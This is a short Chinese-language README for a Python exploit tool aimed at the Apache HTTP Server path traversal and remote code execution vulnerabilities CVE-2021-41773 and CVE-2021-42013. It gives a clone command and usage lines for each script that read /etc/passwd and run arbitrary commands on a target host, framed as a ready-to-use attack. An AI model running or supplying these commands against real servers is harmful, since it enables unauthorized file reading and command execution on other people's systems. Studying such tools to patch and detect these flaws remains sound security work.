使用 Python3 编写的漏洞利用工具,用于利用 Apache Web 服务器中的已知漏洞(CVE-2021-41773、CVE-2021-42013)
Apache HTTP Server 项目致力于为包括 UNIX 和 Windows 在内的现代操作系统开发和维护一个开源的 HTTP 服务器。该项目的目标是提供一个安全、高效且可扩展的服务器,能够提供与当前 HTTP 标准同步的 HTTP 服务。
只需执行 git clone:
git clone https://github.com/0xGabe/Apache-CVEs
要读取所需的文件,只需传入文件路径,如果用户没有读取权限,则不会有读取结果。
python3 cve-2021-41773.py --url http://HOST:PORT --path /etc/passwd
要在目标机器上执行包含空格、特殊字符等内容的命令,需要将命令用引号括起来。
python3 cve-2021-41773.py --url http://HOST:PORT --cmd id
要读取所需的文件,只需传入文件路径,如果用户没有读取权限,则不会有读取结果。
python3 cve-2021-42013.py --url http://HOST:PORT --path /etc/passwd
要在目标机器上执行包含空格、特殊字符等内容的命令,需要将命令用引号括起来。
python3 cve-2021-42013.py --url http://HOST:PORT --cmd id